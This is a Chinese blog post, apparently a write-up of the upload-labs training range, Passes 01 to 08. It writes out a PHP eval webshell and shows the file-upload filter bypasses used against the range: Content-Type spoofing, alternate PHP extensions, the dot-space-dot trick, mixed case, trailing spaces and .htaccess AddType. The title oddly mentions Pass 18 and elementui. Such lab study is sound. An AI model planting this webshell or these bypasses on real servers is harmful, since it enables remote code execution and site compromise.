elementui上传图片加参数_文件上传之uploadlabs Pass[18]通关笔记

ee3e48861cc7648477cd744db632a285.png

upload-labs

一个想帮你总结所有类型的上传漏洞的靶场

d1bbbdef029062961e45d2aba3f741dd.png

环境搭建

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关(原20关,插入了一个Pass-05,其余Pass编号依次往后递增),每一关都包含着不同上传方式。

项目地址:https://github.com/c0ny1/upload-labs

我在练习的时候,使用自己的phpstudy常常出现环境问题,所以这里就推荐大家练习的时候,直接使用项目提供的一个集成环境。

下载地址:https://github.com/c0ny1/upload-labs/releases

靶场包含漏洞类型分类:

f4349e579e7fc5f11e4d803715aff467.png


Pass-01

URL:upload.labs/Pass-01/index.php

创建1.php,里面写一句话木马:<?php eval($_GET['jankin']); ?>

  1. 上传文件提示:

062851980b9e4d58dcb3007fa197d122.png

点击上传就直接弹出提示,很明显,这是一个前端拦截,那么这里可以通过禁用JavaScript或抓包提交。

  1. 将文件后缀改为jpg,1.jpg,上传,bp抓包

4ee6abd9da3e314ae45d91d41f0168e9.png

将filename处,1.jpg改为1.php

  1. 点Forward,出现了一个图片框,右键复制图片地址upload.labs/upload/1.php

  2. 通过浏览器提交GET请求:upload.labs/upload/1.php?jankin=phpinfo();

为了节省时间,这里不使用菜刀连接,直接以GET的方式请求,GET的参数就是一句话木马里的GET传的值。

656c5dad3785fd3be914597d37360fd7.png

Pass-01校验方式:客户端JavaScript校验

采用绕过方式:抓包改后缀直接上传

Pass-02

创建2.php,里面写一句话木马:<?php eval($_GET['jankin']); ?>

每一关都复制一个新的文件名,因为所有关卡的上传目录都是upload,这是为了避免重复。也省的每关都去upload目录清空文件。实际上upload-labs右上角可以一键清除上传文件,不过点完之后,upload目录也没了,需要手动创建,所以还是每一关建一个文件好点。

  1. 上传文件提示:文件类型不正确,请重新上传!

78f9baa94e772a6483b35533d3e0432e.png

初步判断为Content-type校验

  1. 抓包,将原来的Content-Type: application/octet-stream改为image/gif,Forward

11290559c559cb8dfefdcee55b874c70.png

  1. 上传成功,图片URL为:upload.labs/upload/2.php

  2. 通过浏览器提交GET请求:upload.labs/upload/2.php?jankin=phpinfo();

5ba4e231af6d14a1f38ac14f8fdd1439.png

Pass-02校验方式:Content-type

采用绕过方式:将Content-type的值改为图片类型,image/gif

Pass-03

复制2.php为3.php,内容不变。

  1. 上传文件提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

0586dee34a43b3518b31a1838931b880.png

很明显,这是黑名单过滤,只要上传asp、aspx、php、jsp外的文件就行了。

  1. 抓包将php后缀改为php3,成功上传

bfcc40f4b0abc72551083168dba0053f.png

  1. 通过浏览器提交GET请求:upload.labs/upload/202006012013482561.php3?jankin=phpinfo();

a2bdc8a78f3e2ef2aacb78076e6c3e66.png

Pass-03这里,可能有些环境无法解析php3,那么可以尝试其他的,例如php2、php4、php5,phtml等,可以在httpd.conf里面加一行:

AddType application/x-httpd-php .php .php3 .phtml

我一开始用的是phpstudy8.1.0.5,php5.2.17nts,Apache2.4.39。改了半天的httpd.conf文件 ,都没法生效,无法解析。本来我就对搭建各类服务器比较熟悉,最后还是没改成功,可能是一些环境原因。上面这行配置,是我从集成环境中的httpd.conf复制出来的,如果改了重启没生效,就是环境问题了。

所以打这个靶场还是推荐使用集成环境,更能体会到作者设计关卡的考核点。

Pass-03校验方式:后缀名黑名单校验(黑名单不全)

采用绕过方式:上传其他后缀名:php2、php3、php4、php5、phtml、pht

Pass-04

复制4.php为4.php,内容不变。

  1. 上传文件提示:此文件不允许上传!

1850da5ed05b6c32014521e6162eb29d.png

  1. 抓包尝试一波,最后在文件名上通过“点+空格+点”的方式绕过

bafd46befaa53d44a267306ecb104bc3.png

  1. 查看一波源码,程序对上传文件的点进行了删除,然后首尾去空。

而我们输入4.php. .,最后保留了一个点,可以看到上图,路径为upload/4.php.,Windows会自动去掉后缀名最后的‘.’,这是Windows的特性,所以我们可以访问/upload/4.php

6e8b107c3825cc3440ac5a33bf10c5ad.png

  1. 通过浏览器提交GET请求:upload.labs/upload/4.php?jankin=phpinfo();

9df2fb16f23b52cfbfbd3aa5402f104d.png

Pass-04校验方式:后缀名黑名单校验(去点、去空,最后还剩一个点)

采用绕过方式:文件名后面加“点+空格+点”进行绕过

Pass-05

复制4.php为5.php,内容不变。

  1. 上传文件提示:此文件类型不允许上传!

  2. 抓包尝试,同样采用点+空格+点的方式上传成功

62771fd5e8690d8875376273d15f5c16.png

  1. 查看了一下源码,想看看与Pass-04有什么区别,结果发现仅仅是黑名单有所不同。

4a548d9c9cc0586bead853d7df2d96d0.png

通过对比黑名单,可以发现,Pass-04也可以通过上传.htaccess文件添加解析。例如.htaccess文件内容为:AddType application/x-httpd-php .aaa ,如果上传成功了,那么我们再上传一个.aaa格式的文件,就可以解析了。

Pass-05校验方式:后缀名黑名单校验,同Pass-04,黑名单多了.htaccess

采用绕过方式:文件名后面加“点+空格+点”进行绕过

Pass-06

复制5.php为6.php,内容不变。

  1. 上传文件提示:此文件类型不允许上传!(与Pass-05一样)

  2. 抓包尝试,采用之前的后缀加【点+空格+点】的方式上传成功了,文件名也被改了,不过php后缀也没了,所以需要尝试其他的方法。

c1b4e7c036bf5886099f46e925e38684.png

  1. 一番尝试后,发现将php后缀大小写混合,上传成功了。

35551f56cc23fa45bac561b6cb808487.png

f8d697daa606ef09ff197fbf78da120a.png

这里也被环境坑了下,一开始用phpstudy8.1.0.5的php5.2.17nts,Apache2.4.39,上传成功了pHP后缀的文件,然后访问显示500,也是一个环境问题。到这里我就直接用集成环境,才成功上传解析。

Pass-06校验方式:后缀名黑名单校验(文件名没有统一转换为小写)

采用绕过方式:后缀名大小写混合绕过

Pass-07

复制6.php为7.php,内容不变。

  1. 上传文件提示:此文件不允许上传

  2. 老样子,抓包尝试。在文件名后面加了个空格,成功上传并返回文件地址

0149e8fc78e8e198e3edee04c040e988.png

Pass-07校验方式:后缀名黑名单校验(代码没有对上传文件进行去空处理)

采用绕过方式:空格绕过

Pass-08

复制7.php为8.php,内容不变。

  1. 上传文件提示:此文件类型不允许上传!

  2. 文件名后加“点+空格+点”上传成功

68d2ca5f3e74f2a1306e963ca5924942.png

  1. 由于跟前面的绕过方法一样,所以照例看下源码

0003f2e995448f3c63f8b8c63255093d.png

可以看到,他这里并没有对文件名去点处理,所以我们上传的文件名就是“8.php. .”,上传后windows文件特性,又对其进行了去点、去空格,最终保存名为8.php

Pass-08校验方式:后缀名黑名单校验(代码没有对上传文件进行去点处理)

采用绕过方式:文件名后面加“点+空格+点”进行绕过

总结:

2f9a4b76bfb2904382bda06c3e03997e.png

36449980845f7a02e4c4895806e15e18.png

欢迎关注

IamJankin

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值